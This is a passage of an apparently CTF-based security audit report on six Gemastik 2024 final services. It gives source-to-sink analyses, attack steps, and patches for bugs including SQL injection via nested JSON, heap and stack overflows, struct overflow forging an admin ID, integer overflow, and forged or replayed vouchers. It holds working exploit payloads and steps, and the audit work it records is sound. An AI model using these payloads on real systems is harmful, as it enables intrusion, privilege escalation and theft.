Aplikasi katalog CWE dengan fitur login (/api/login), pencarian (/api/view), dan endpoint /api/flag khusus admin. Menggunakan class buatan sendiri bernama QueryBuilder/ClauseBuilder untuk menyusun query SQL dari input JSON.

FINDING 1 OF 1

Type Confusion pada JSON Nested Object -> SQL Injection

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-89	exploits/anti-alchemy/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`request.get_json() pada /api/view dan /api/login (user mengirim JSON bersarang / dictionary di dalam field value)`

TRANSFORM (Processing) — Path

`Fungsi _sanitize(q) mengecek 'if c in q: q = q.replace(c, c*2)' lalu mengubahnya menjadi teks dengan str(q)`

SINK (Execution Point) — Impact

`cur.execute(query) (menjalankan string SQL yang dirakit manual oleh ClauseBuilder)`

2. Root Cause

Saat attacker mengirim JSON bersarang seperti {"title": {"": "'/**/; SELECT * FROM users;-- -"}}, fungsi _sanitize() gagal mendeteksi tanda kutip di dalam value dictionary. Saat diubah oleh str(q) dan ditempel ke query SQL, tanda kutip tersebut memutus string SQL dan memicu SQL Injection di PostgreSQL untuk membocorkan tabel salt/users dan login sebagai admin.

Syntax / Code Walkthrough

- if "'" in q: Di Python, jika q adalah String, ini mengecek apakah ada tanda kutip di dalam teks. TAPI jika q adalah Dictionary (misal {"": "' UNION SELECT..."}), 'in q' hanya mengecek KEY dictionary-nya, bukan VALUE-nya!
- str(q): Mengubah dictionary menjadi teks string Python beserta tanda kutip di dalam value-nya tanpa di-escape.

3. VALIDITY EVIDENCE

Source review plus the published writeup chain (lordrukie): `_sanitize()` checks `if c in q` before `str(q)`, so a nested dict `{"": "'..."}` is not a string and the quote is not doubled; `str(q)` later injects it into the SQL. The `/api/view` stacked query leaks the `salt` table; the `/api/login` UNION controls the username and SHA1 hash, and `check_password_hash` accepts the attacker's password.

4. ATTACK SCENARIO / STEPS

1. Authenticate as the seeded low-privilege user `gemastik` / `P@ssw0rd`.
2. POST the nested-object payload to `/api/view`; the response rows include the `salt` value.
3. Compute `sha1(salt + 'beluga')`.
4. POST the UNION payload to `/api/login`; the first row becomes `admin` with the attacker-controlled hash.
5. Request `/api/flag` with the resulting session cookie.

Reference: `exploits/anti-alchemy/exploit.py`

Payload / Command

```
# 1. Log in with the low-privilege seeded account.
POST /api/login {"username":"gemastik","password":"P@ssw0rd"}
# 2. Leak the salt through the nested-object sanitizer bypass.
POST /api/view {"title":{"": "'/**/;select * from salt;-- -"}}
# 3. Hash the chosen admin password with the leaked salt.
# 4. Log in as admin with a UNION that controls username + password hash.
POST /api/login {"username":{"": "'/**/union select 1, 'admin', '<sha1(salt+beluga)>';--
-"}, "password":"beluga"}
# 5. Read the flag.
GET /api/flag
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
class ClauseBuilder:
    def _sanitize(self, q):
        for c in ["'", '"']:
            if c in q:
                q = q.replace(c, c * 2)
        return str(q).strip()

# Lalu di where():
self._queries.append("'%" + value + "%'")
```

AFTER (Patched)

```
# 1. Tolak semua value JSON yang bukan bertipe string/int murni di helper/app.py
for k, v in payload.items():
    if not isinstance(v, str):
        return make_resp(400, "Bad Request")

# 2. Gunakan Parameterized Query (%s) pada psycopg2, jangan rakit string SQL manual!
cur.execute(
    "SELECT id, username, password FROM users WHERE username = %s",
    (payload["username"],)
)
```

6. PATCH VERIFICATION

- ✓ Reject non-string JSON values with 400.
- ✓ The nested-object payload must not return salt rows.
- ✓ Use parameterized queries for every value/identifier.
- ✓ The admin login with the forged hash must fail.

CHECKLIST SLA & VERIFIKASI PATCH:
Pencarian /api/view dengan string normal seperti {'title': 'CWE'} dan login normal harus tetap berjalan.

Gemastik 2024 | Pwn | Python + Unicorn Engine + ctypes (libc) | 1 VALID | 1 INVALID

8. asmr

Primary Source File:

`gemastik-xvii-final/asmr/src/asmr.py`

APA YANG DILAKUKAN SERVICE INI?

Service yang menerima kode mesin (shellcode) x86-64 dari user dan menjalankannya di dalam emulator Unicorn. Syscall dari dalam emulator diteruskan ke fungsi Python yang memanggil malloc/free/memmove/puts asli milik libc host.

FINDING 1 OF 2

Unchecked allocation/copy size -> host heap OOB read/write (RCE primitive)

VALID | High | Confidence: Medium

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-787	`exploits/asmr/exploit.py --vuln read`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Register RDI, RSI, RDX dari syscall kode mesin guest (dikendalikan penuh oleh attacker): idx, buf, size

TRANSFORM (Processing) — Path

Mengakses list Python notes[idx] tanpa cek batas dan tidak menyimpan ukuran alokasi malloc(size)

SINK (Execution Point) — Impact

ctypes.memmove(notes[idx], ..., size) (Heap Overflow di host) &
ctypes.string_at(notes[idx], size) / libc.puts(notes[idx]) (Info Leak memori host)

2. Root Cause

`create(size)` stores only the `malloc` pointer; `edit(idx, buf, size)` copies `size` bytes into that allocation and `view(idx, buf, size)` reads `size` bytes back. There is no per-note size tracking and no check that `size <= allocated_size`. The guest controls `rdi/rsi/rdx`, so a small `create(16)` followed by `edit(..., 0x1000)` corrupts the host Python/libc heap.

Syntax / Code Walkthrough

- notes[idx] di Python: Jika idx bernilai negatif (misal -1), Python tidak error melainkan mengambil elemen dari belakang list!
- ctypes.memmove(notes[idx], ubuf, size): Menulis sebanyak 'size' byte langsung ke memori RAM proses Python (host) tanpa mengecek berapa byte yang dulu dialokasikan saat create().

3. VALIDITY EVIDENCE

Source review confirms the missing size metadata. Local tests reproduced unchecked OOB write/corruption (`0x20` bytes past a 16-byte chunk caused glibc `double free or corruption (out)`). Full RCE depends on the host libc/heap layout; the official gist PoC demonstrates it, but this audit did not reproduce a shell locally. Status VALID for the memory-safety vulnerability; RCE confidence Medium.

4. ATTACK SCENARIO / STEPS

1. Send guest shellcode that invokes `create(16)` and records the returned index.
2. Invoke `edit(idx, buf, 0x1000)` with attacker bytes to overflow the host heap.
3. Use `view(idx, buf, 0x1000)` to leak host pointers/libc addresses.
4. Apply the official heap-grooming PoC to turn the OOB write into control-flow hijack and read `/flag.txt`.

Reference: `exploits/asmr/exploit.py --vuln read`

Payload / Command

```
See `exploits/asmr/README.md` and the official PoC gist (msfir). Local primitive:
create(16), then edit with a larger size; a 0x20-byte OOB write produced `double free or
corruption (out)` in the host process.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
notes = [0 for _ in range(MAX_NOTES)]

def create(size):
    idx = find_empty()
    notes[idx] = libc.malloc(size)

def edit(idx, buf, size):
    if notes[idx] == 0: return
    ubuf = uc.mem_read(buf, size)
    ctypes.memmove(notes[idx], ctypes.create_string_buffer(bytes(ubuf)), size)
```

AFTER (Patched)

```
notes = [0 for _ in range(MAX_NOTES)]
sizes = [0 for _ in range(MAX_NOTES)]

def valid_idx(idx):
    return isinstance(idx, int) and 0 <= idx < MAX_NOTES

def create(size):
    if size <= 0 or size > 0x1000:
        uc.reg_write(RAX, -1); return
    idx = find_empty()
    if idx == -1:
        uc.reg_write(RAX, -1); return
    notes[idx] = libc.malloc(size)
    sizes[idx] = size
    uc.reg_write(RAX, idx)

def edit(idx, buf, size):
    if not valid_idx(idx) or notes[idx] == 0 or size < 0 or size > sizes[idx]:
        uc.reg_write(RAX, -1); return
    ubuf = uc.mem_read(buf, size)
    ctypes.memmove(notes[idx], ctypes.create_string_buffer(bytes(ubuf)), size)

def view(idx, buf, size):
    if not valid_idx(idx) or notes[idx] == 0 or size < 0 or size > sizes[idx]:
        uc.reg_write(RAX, -1); return
    kbuf = ctypes.string_at(notes[idx], size)
    uc.mem_write(buf, kbuf)
```

6. PATCH VERIFICATION

- ✓ Track `sizes[idx]` and reject `size > sizes[idx]`.
- ✓ Validate `idx` in `[0, MAX_NOTES)`.
- ✓ Use `memmove(..., min(size, sizes[idx]))` and never pass guest-controlled sizes to `string_at`/`puts`.
- ✓ ASan must report no OOB access; the official PoC must fail.

FINDING 2 OF 2

Negative array index via signed rdi (claimed)

INVALID Info Confidence: High

STATUS	SEVERITY
INVALID	Info
CWE	**EXPLOIT ARTIFACT**
N/A	—

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`Guest syscall register RDI (idx)`

TRANSFORM (Processing) Path

`Python list indexing notes[idx]`

SINK (Execution Point) Impact

`notes[idx] / ctypes.memmove`

2. Root Cause

Claim not supported: `uc.reg_read()` returns an unsigned 64-bit value, so the guest cannot express a negative Python list index; the real bug is the missing size check.

Syntax / Code Walkthrough

- The guest controls RDI, but `uc.reg_read(UC_X86_REG_RDI)` returns an unsigned 64-bit value.
- The source does not convert it to a signed integer, so a negative index cannot be expressed; the real bug is the missing size check, not a signed-index bug.

3. VALIDITY EVIDENCE

`uc.reg_read()` returns an unsigned value; `notes[idx]` with a negative Python index is not reachable from the guest. The claim is not supported by the source or by local tests.

4. ATTACK SCENARIO / STEPS

No reproducible step was documented for this finding.

Payload / Command

```
N/A - no negative index is reachable.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
idx = uc.reg_read(x86_const.UC_X86_REG_RDI)
notes[idx]  # idx is unsigned; no negative index
```

AFTER (Patched)

```
# No negative-index patch is needed; validate 0 ⩽ idx < MAX_NOTES and track sizes.
```

6. PATCH VERIFICATION

✓ N/A (not a vulnerability). Keep the bounds check `0 <= idx < MAX_NOTES`.

CHECKLIST SLA & VERIFIKASI PATCH:
Operasi create, edit, view, dan delete dengan index 0..15 dan ukuran yang sesuai alokasi harus tetap mengembalikan nilai RAX yang normal.

Gemastik 2024 | Pwn | C (CLI Binary) | 2 VALID | 1 INVALID

9. bit-canvas

Primary Source File:

`gemastik-xvii-final/bit-canvas/src/main.c`

APA YANG DILAKUKAN SERVICE INI?

Program C untuk menggambar bit pada array integer canvas[16]. Memiliki menu draw (mengubah bit ke-y pada elemen canvas[x]), clear, resize (mengubah variabel size), dan admin (meminta password dan membandingkannya dengan flag di stack).

FINDING 1 OF 3

Unchecked canvas index -> debug toggle + stack flag leak

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-125	`exploits/bit-canvas/exploit.py --vuln leak`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input angka `scanf('%d', &size)`, `scanf('%d %d', &x, &y)`, dan input password `scanf('%s', buffer)`

TRANSFORM (Processing) — Path

Mengakses `canvas[x] ^= 1 << y` dan mencetak loop `canvas[0..size-1]` tanpa pengecekan batas array `canvas[16]`

SINK (Execution Point) — Impact

`canvas[x]` (OOB Read/Write di stack), loop print hingga size (Stack Info Leak termasuk variabel `flag[43]` di stack), dan `scanf('%s', buffer)` (Stack Buffer Overflow)

2. Root Cause

`canvas[x] ^= 1 << y` and the print loops use `x`, `y`, and `size` without bounds checks. `canvas` is a 16-element stack array; negative `x` addresses stack slots before it, including the `debug` flag and the `flag[43]` buffer left by the admin menu.

Syntax / Code Walkthrough

- int canvas[16]: Hanya punya index 0 sampai 15. Jika size diubah menjadi 64 lewat menu resize, loop pencetakan canvas akan membocorkan seluruh isi stack di bawah canvas (termasuk flag yang dibaca ke variabel lokal flag[43]!).
- scanf('%s', buffer): Membaca string tanpa batas panjang ke dalam char buffer[43], sehingga input > 43 byte akan menimpa return address di stack.

3. VALIDITY EVIDENCE

Source review and exact local exploit validation: the admin branch reads `/flag.txt` into `char flag[43]`; `canvas[x]` is unchecked; `x=27,y=0` toggles `debug`; negative `x` values read the flag bits through the debug print. The existing `resize=50` claim was tested and is false (the print loop reads `canvas[i]`, not the flag buffer).

4. ATTACK SCENARIO / STEPS

1. Select menu 4 and enter a wrong password so `/flag.txt` is read into the stack buffer.
2. Draw at `x=27,y=0` to set `debug=1`.
3. Draw at `x=-28..-18` for `y=0..31`; each `[DEBUG]` line reveals one bit of the flag buffer.
4. Assemble the bits into bytes and print the flag.

Reference: `exploits/bit-canvas/exploit.py --vuln leak`

Payload / Command

```
# Exact local leak (validated):
# 1. Choose menu 4 (admin), enter any wrong password: fgets() reads /flag.txt into stack
flag[43].
# 2. Draw x=27 y=0 to toggle the adjacent debug variable.
# 3. Draw x=-28..-18, y=0..31; the [DEBUG] lines print prev/next bits of flag[43].
# 4. Reconstruct the 43 flag bytes from the leaked bits.
python3 exploits/bit-canvas/exploit.py --host 127.0.0.1 --port 11000
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
case 1: // draw
    scanf("%d %d", &x, &y);
    canvas[x] ^= 1 << y;
case 3: // resize
    scanf("%d", &size);
case 4: // admin
    char buffer[43];
    scanf("%s", buffer);
```

AFTER (Patched)

```
case 1: // Validasi koordinat x (0..15) dan bit y (0..31)
    if (scanf("%d %d", &x, &y) != 2 || x < 0 || x >= 16 || y < 0 || y >= 32) {
        puts("invalid coordinate");
        break;
    }
    canvas[x] ^= (1u << y);
case 3: // Batasi ukuran resize maksimal 16
    if (scanf("%d", &size) != 1 || size < 1 || size > 16) {
        size = 16;
    }
    break;
case 4: // Batasi panjang pembacaan string maksimal 42 karakter + NUL
    char buffer[43];
    scanf("%42s", buffer);
```

6. PATCH VERIFICATION

- ✓ Reject `x` outside `[0,15]`, `y` outside `[0,31]`, and `size` outside `[1,16]`.
- ✓ Remove the debug print or keep the flag out of the stack.
- ✓ The exploit must no longer produce flag bytes; normal drawing must still work.

FINDING 2 OF 3

Stack buffer overflow via scanf("%s", buffer)

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-121	exploits/bit-canvas/exploit.py --vuln overflow

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`Password input in the admin menu: scanf("%s", buffer)`

TRANSFORM (Processing) Path

`Unbounded scanf writes into char buffer[43]`

SINK (Execution Point) Impact

`Stack overwrite of saved RBP/RIP (potential ROP)`

2. Root Cause

The admin branch reads a password with an unbounded `%s` into a 43-byte stack buffer. This is a separate memory-corruption bug from the canvas OOB leak; it can crash or redirect control flow, although the flag leak above does not need it.

Syntax / Code Walkthrough

- `scanf("%s", buffer)` has no field width; it writes until whitespace.
- `buffer` is only 43 bytes, so a longer password overwrites the saved frame and return address.

3. VALIDITY EVIDENCE

Source review and local execution: `char buffer[43]; scanf("%s", buffer);` is an unbounded stack write. A direct local run with a 512-byte password exited 134 with `*** stack smashing detected ***: terminated`. The remote script asserts success only when the service forwards a crash marker; otherwise a clean exit and a post-`bye` canary abort look identical. A full ROP chain was not developed in this audit.

4. ATTACK SCENARIO / STEPS

1. Choose menu 4.
2. Enter a password longer than 43 bytes.
3. The stack frame is overwritten; with a crafted pattern this can redirect execution.

Reference: `exploits/bit-canvas/exploit.py --vuln overflow`

Payload / Command

```
Send a password longer than 43 bytes in menu 4; the process crashes or overwrites the saved return address.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
char buffer[43];
scanf("%s", buffer);
```

AFTER (Patched)

```
char buffer[43];
if (scanf("%42s", buffer) ≠ 1) { /* handle error */ }
```

6. PATCH VERIFICATION

- ✓ Use `scanf("%42s", buffer)` or `fgets(buffer, sizeof(buffer), stdin)`.
- ✓ Compile with stack protector/PIE/RELRO.
- ✓ A long password must be rejected or truncated without crashing.

FINDING 3 OF 3

resize=50 leaks the flag (claimed)

INVALID | Info | Confidence: High

STATUS	SEVERITY
INVALID	Info

CWE	EXPLOIT ARTIFACT
N/A	—

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

```
Menu 3 size input
```

TRANSFORM (Processing) Path

```
for (i=0; i<size; i++) print canvas[i]
```

SINK (Execution Point) Impact

```
stdout
```

2. Root Cause

Claim not supported: the resize print loop reads `canvas[i]`, not the separate `flag[43]` stack buffer; `size=50` prints adjacent stack words but not the flag. The real leak uses the debug print and negative indices.

Syntax / Code Walkthrough

- The print loop indexes `canvas[i]`, not the separate `flag[43]` buffer.
- `size=50` reads past `canvas[16]`, but the bytes printed are stack words after `canvas`, not the flag bytes.

3. VALIDITY EVIDENCE

Local test: `resize=50` prints additional canvas words but not the flag bytes. The flag leak was reproduced with the negative-index/debug technique documented above.

4. ATTACK SCENARIO / STEPS

No reproducible step was documented for this finding.

Payload / Command

```
N/A - `resize=50` does not print the flag.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
case 3: scanf("%d", &size);
for (int i = 0; i < size; i++) print canvas[i];
```

AFTER (Patched)

```
if (size < 1 || size > 16) size = 16;
```

6. PATCH VERIFICATION

✓ N/A for this claim. Bound `size` to 1..16 as a hardening measure.

CHECKLIST SLA & VERIFIKASI PATCH:
Jangan lupa compile ulang main.c ke binary yang dijalankan oleh socat/docker setelah melakukan patch.

Gemastik 2024 | Web | Lua (Apache mod_lua) + C Module (kauth) | 2 VALID

10. fjb

Primary Source File:

`gemastik-xvii-final/fjb/kauth/kauth.c & src/handler/cart.lua`

APA YANG DILAKUKAN SERVICE INI?

Marketplace jual-beli barang berbasis Lua dan modul autentikasi C bernama kauth. User memiliki saldo wallet, bisa membuat barang, memasukkan ke keranjang (cart), dan melakukan checkout untuk melihat field rahasia 'valuable' (tempat flag disimpan pada item milik admin).

FINDING 1 OF 2

Celah 1: Struct Buffer Overflow di Modul C kauth.c (Forging User ID)

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-121	`exploits/fjb/exploit.py --vuln overflow`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Username saat registrasi/login yang dikirim ke fungsi C kauth.encode(id, username)

TRANSFORM (Processing) — Path

Disalin ke dalam struct kauth_user { char name[128]; unsigned long long id; unsigned long long exp; }

SINK (Execution Point) — Impact

strcpy((char *)claim.name, name) tanpa pengecekan panjang string

2. Root Cause

Attacker mendaftar dengan username sepanjang 128 huruf diikuti byte '\x01\x00...'. Saat fungsi kauth.encode() menyalin username dengan strcpy, byte ke-129 menimpa claim.id menjadi 1 (ID milik admin). Token yang dihasilkan tetap ditandatangani secara sah oleh server sehingga attacker mendapatkan akses sebagai user ID 1 (admin).

Syntax / Code Walkthrough

- struct kauth_user: Di memori C, field 'id' terletak persis setelah array 'name[128]'.
- strcpy(claim.name, name): Jika username panjangnya lebih dari 128 karakter, byte ke-129 dan seterusnya akan menimpa nilai 'claim.id' yang berada tepat di bawahnya!

3. VALIDITY EVIDENCE

Source review: `struct kauth_user { char name[128]; unsigned long long id; unsigned long long exp; }`; `encode()` does `strcpy((char *)claim.name, name)` with no length check. A 129-byte username overwrites `id` with 1. `decode()` verifies the HMAC over the already-corrupted struct, so the token is valid. The admin catalog item is returned by `/api/catalog/me` when `kauth_id=1`.

4. ATTACK SCENARIO / STEPS

1. Register a user whose username is 128 bytes followed by `\x01`.
2. Log in; `kauth.encode()` overflows `claim.id` to 1 and signs the corrupted claim.
3. Use the returned `session` cookie to call `/api/catalog/me`.
4. Read the admin catalog item's `value` field (the flag).

Reference: `exploits/fjb/exploit.py --vuln overflow`

Payload / Command

```
# Username = 128 * "A" + "◁" (JSON ◁). strcpy writes the 0x01 over
# the low byte of claim.id, and the following NUL zeroes the next byte ⇒ id=1.
POST /api/register {"username":"AAAA...A\u0001","password":"pw"}
POST /api/login    {"username":"AAAA...A\u0001","password":"pw"}
GET  /api/catalog/me   # token id=1; returns the admin catalog item, including value
(flag)
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
struct kauth_user {
  const char name[128];
  unsigned long long id;
  unsigned long long exp;
};
// Di dalam fungsi encode():
const char *name = lua_tostring(L, -1);
strcpy((char *)claim.name, name);
```

AFTER (Patched)

```
const char *name = lua_tostring(L, -1);
if (!name || strlen(name) ⩾ sizeof(claim.name)) {
    lua_pushstring(L, "username too long");
    return lua_error(L);
}
strncpy((char *)claim.name, name, sizeof(claim.name) - 1);
((char *)claim.name)[sizeof(claim.name) - 1] = '\0';
```

6. PATCH VERIFICATION

- ✓ Reject usernames with `strlen(name) >= sizeof(claim.name)`.
- ✓ Use `strncpy` + explicit NUL, or a length-prefixed struct.
- ✓ The forged token must decode with the real user id, not 1.
- ✓ Normal registration/login and catalog access must still work.

FINDING 2 OF 2

Celah 2: Integer Overflow pada Perhitungan Total Harga Checkout

VALID High Confidence: Medium

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-190	exploits/fjb/exploit.py --vuln intoverflow

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

```
Field 'price' saat user membuat item baru, lalu dijumlahkan saat checkout di cart.lua
```

TRANSFORM (Processing) Path

```
for i = 1, #items do cost = cost + items[i].price end
```

SINK (Execution Point) Impact

```
if wallet < cost then ... (pengecekan saldo wallet)
```

2. Root Cause

Attacker memasukkan item mahal berisi flag ke keranjang, lalu membuat item palsu sendiri dengan harga mendekati maksimum 64-bit (0x7fffffffffffffff) dan memasukkannya ke keranjang yang sama. Saat dijumlahkan di checkout, variabel 'cost' mengalami overflow menjadi negatif, sehingga pengecekan 'wallet < cost' bernilai False (lolos!) dan flag berhasil dibeli.

Syntax / Code Walkthrough

- Integer 64-bit Overflow: Angka positif terbesar di 64-bit adalah 9223372036854775807 (0x7fffffffffffffff). Jika ditambah lagi, nilainya berputar (wrap-around) menjadi angka NEGATIF yang sangat kecil!

3. VALIDITY EVIDENCE

Source review: `checkout.lua` starts `cost = 0x0` and does `cost = cost + items[i].price` with no overflow check, then `if wallet < cost`. A price near 2^63 makes the sum wrap negative, bypassing the balance check; the checkout response returns `items` with `valuable` populated. The two-account constraint is enforced by `add_to_cart` (`cant add your own item to cart`). Local DB is empty, so the full chain is source-level plus the published writeup; status VALID, confidence Medium.

4. ATTACK SCENARIO / STEPS

1. Create account A and add a catalog item priced at `0x7fffffffffffffff`.
2. Create account B and add A's item plus the admin flag item to B's cart.
3. Checkout as B; the 64-bit addition wraps to a negative cost.
4. The `wallet < cost` check passes and the response includes the flag item's `valuable` field.

Reference: `exploits/fjb/exploit.py --vuln intoverflow`

Payload / Command

```
# Two accounts are required: add_to_cart() rejects your own item.
# Account A: create an item with price = 9223372036854775807.
POST /api/catalog
{"name":"x","description":"x","valuable":"x","price":9223372036854775807}
# Account B: add A's item and the admin flag item to the cart, then checkout.
POST /api/cart {"item": <A_item_id>}
POST /api/cart {"item": <admin_flag_item_id>}
POST /api/checkout
# The Lua 64-bit sum wraps negative; wallet < cost is false and the response
# includes the cart items with their `valuable` fields (flag).
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
local cost = 0x0
for i = 1, #items do
    cost = cost + items[i].price
end
if wallet < cost then
    return error_insufficient_funds()
end
```

AFTER (Patched)

```
-- 1. Saat membuat item & saat menjumlahkan di checkout, batasi harga wajar:
local cost = 0
for i = 1, #items do
    local p = tonumber(items[i].price) or 0
    if p < 0 or p > 1000000000 then
        return error_invalid_price()
    end
    cost = cost + p
    if cost < 0 or cost > 1000000000 then
        return error_invalid_price()
    end
end
```

6. PATCH VERIFICATION

- ✓ Reject negative/absurd prices and use checked addition.
- ✓ Reject checkout if any item price is outside a sane range.
- ✓ The wrapped total must be detected and rejected; normal checkout must still work.

CHECKLIST SLA & VERIFIKASI PATCH:
Jika memodifikasi kauth.c, jalankan 'luarocks make' dan restart Apache. Jika tidak ingin recompile C, kamu bisa memvalidasi panjang username <= 64 karakter langsung di file Lua sebelum memanggil kauth.encode()!

Gemastik 2024 | Crypto | Python (CLI Shop) | 1 VALID

11. gift-card

Primary Source File:

`gemastik-xvii-final/gift-card/src/main.py`

APA YANG DILAKUKAN SERVICE INI?

Toko hadiah interaktif dengan saldo awal 100. Harga flag 420. User bisa membeli giftcard seharga 50 dan me-redeem giftcard untuk mendapat saldo 30..60.

FINDING 1 OF 1

Stateless Checksum-Only Giftcard (Tanpa Secret / Tanpa MAC)

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-345	exploits/gift-card/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input kode hex giftcard dari user pada menu Redeem

TRANSFORM (Processing) — Path

validate_giftcard() hanya menghitung sum(signature) % 256 == self.Hm (di mana Hm = sum(name.encode()) % 256)

SINK (Execution Point) — Impact

Menambahkan saldo balance += random.randint(30, 60) setiap kali validate_giftcard() bernilai True

2. Root Cause

Karena validasi giftcard hanya mengecek apakah jumlah 16 byte modulo 256 sama dengan jumlah byte nama user, attacker tidak perlu membeli giftcard! Attacker cukup membuat sendiri ribuan kode 16 byte yang jumlahnya cocok, lalu me-redeem semuanya sampai saldonya cukup untuk membeli flag.

Syntax / Code Walkthrough

- sum(signature) % 256 == self.Hm: Hanya menjumlahkan nilai byte dari 16 byte giftcard lalu dibagi 256 (sisa bagi). Tidak ada kunci rahasia server sama sekali!

3. VALIDITY EVIDENCE

Source review and local execution: `validate_giftcard()` only checks `len(signature)==16` and `sum(signature)%256 == Hm`, where `Hm = sum(name)%256`. There is no secret and no MAC. A card of 15 zero bytes plus `Hm` is always valid; the first redeem returned `$53` in the local test. Repeating with unique cards reaches the 420 balance.

4. ATTACK SCENARIO / STEPS

1. Pick a name and compute `Hm = sum(name.encode()) % 256`.
2. Forge `15` arbitrary bytes plus a final byte that makes the total `Hm` mod 256.
3. Redeem each unique forged card; the server adds 30-60 balance.
4. When balance >= 420, buy `flag` and read the response.

Reference: `exploits/gift-card/exploit.py`

Payload / Command

```
name = "alice"                    # Hm = sum(b"alice") % 256 = 254
card = b"\x00"*15 + bytes([254])  # 000000000000000000000000000000fe
# Redeem unique forged cards until balance ⩾ 420, then buy "flag".
python3 exploits/gift-card/exploit.py --host 127.0.0.1 --port 21000 --name alice
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
def generate_giftcard(self) → str:
    r = random.randbytes(15)
    s = int.to_bytes(self.mod(self.Hm - self.mod(sum(r))))
    return (r + s).hex()

def validate_giftcard(self, giftcard: str) → bool:
    signature = bytes.fromhex(giftcard)
    return len(signature) == 16 and self.mod(sum(signature)) == self.Hm
```

AFTER (Patched)

```
# Simpan daftar giftcard yang benar-benar diterbitkan oleh server di memori objek
def __init__(self, name: str) → None:
    self.issued_cards = set()
    self.redeemed_giftcard = set()

def generate_giftcard(self) → str:
    card = secrets.token_hex(16)
    self.issued_cards.add(card)
    return card

def validate_giftcard(self, giftcard: str) → bool:
    return giftcard in self.issued_cards and giftcard not in self.redeemed_giftcard
```

6. PATCH VERIFICATION

- ✓ Issue cards server-side with a random ID and store them in an issued set.
- ✓ Use an HMAC over the card ID/name, not a checksum.
- ✓ A forged card must be rejected; a legitimate card must redeem exactly once.

CHECKLIST SLA & VERIFIKASI PATCH:
Format panjang giftcard (32 karakter hex / 16 byte) tetap sama sehingga tidak merusak ekspektasi checker.

Gemastik 2024 | Crypto | Python / RSA | 1 VALID | 1 UNVERIFIED

12. gift-voucher

Primary Source File:

`gemastik-xvii-final/gift-voucher/src/main.py`

APA YANG DILAKUKAN SERVICE INI?

Mirip gift-card, tetapi voucher ditandatangani menggunakan kunci privat RSA 1024-bit dan dikirim dalam format Base64. Voucher yang sudah dipakai disimpan di dalam set redeemed_voucher.

FINDING 1 OF 2

Base64 Non-Canonical Replay Attack

VALID | Medium | Confidence: High

STATUS	SEVERITY
VALID	Medium

CWE	EXPLOIT ARTIFACT
CWE-345	exploits/gift-voucher/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

String voucher Base64 yang dimasukkan user saat redeem

TRANSFORM (Processing) — Path

Dicek apakah string mentah `voucher in self.redeemed_voucher`, lalu di-decode dengan `base64.b64decode(voucher.encode())`

SINK (Execution Point) — Impact

Menambahkan saldo balance user setelah `validate_voucher()` bernilai True

2. Root Cause

Attacker cukup membeli 1 voucher asli (misal 'ABCD...'), lalu me-redeem-nya berkali-kali dengan menambahkan spasi atau karakter non-base64 (' ABCD...', ' ABCD...', dst). Karena string-nya terlihat berbeda, pengecekan `voucher in self.redeemed_voucher` selalu lolos, padahal hasil decode RSA-nya tetap voucher yang sama!

Syntax / Code Walkthrough

- base64.b64decode(s): Secara default di Python, fungsi ini MENGABAIKAN spasi, titik, atau karakter non-base64 di dalam string!
- voucher in self.redeemed_voucher: Mengecek string sebelum di-decode, bukan hasil byte setelah di-decode.

3. VALIDITY EVIDENCE

Source review and local execution: `redeem_voucher()` checks the raw string against `self.redeemed_voucher`, then `base64.b64decode()` ignores non-alphabet characters such as `!`. Inserting `!` at a new position produces a different raw string that decodes to the same RSA voucher, so the replay check is bypassed. The local test redeemed a mutated voucher successfully.

4. ATTACK SCENARIO / STEPS

1. Buy one voucher with the starting balance.
2. Insert `!` at a new position to create a unique Base64 string that decodes to the same bytes.
3. Redeem it; the raw-string set check passes and the balance increases.
4. Repeat with different `!` positions until balance >= 420, then buy `flag`.

Reference: `exploits/gift-voucher/exploit.py`

Payload / Command

```
# Buy one voucher (menu 2 → voucher, $50), then redeem the same decoded
# voucher with a non-canonical Base64 variant each time.
v = "<voucher from menu 2>"
for i in range(1, len(v)):
    variant = v[:i] + "!" + v[i:]   # b64decode ignores "!"
    redeem(variant)                 # raw string differs → set check passes
# Repeat until balance ⩾ 420, then buy "flag".
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
# Mengecek string mentah dari user, bukan hasil decode kanoniknya
if voucher not in self.redeemed_voucher and self.validate_voucher(voucher):
    self.redeemed_voucher.add(voucher)
    self.balance += random.randint(30, 60)
```

AFTER (Patched)

```
# 1. Simpan voucher yang resmi diterbitkan oleh generate_voucher()
# 2. Normalisasi (canonicalize) Base64 menjadi bytes sebelum dicek di redeemed_voucher
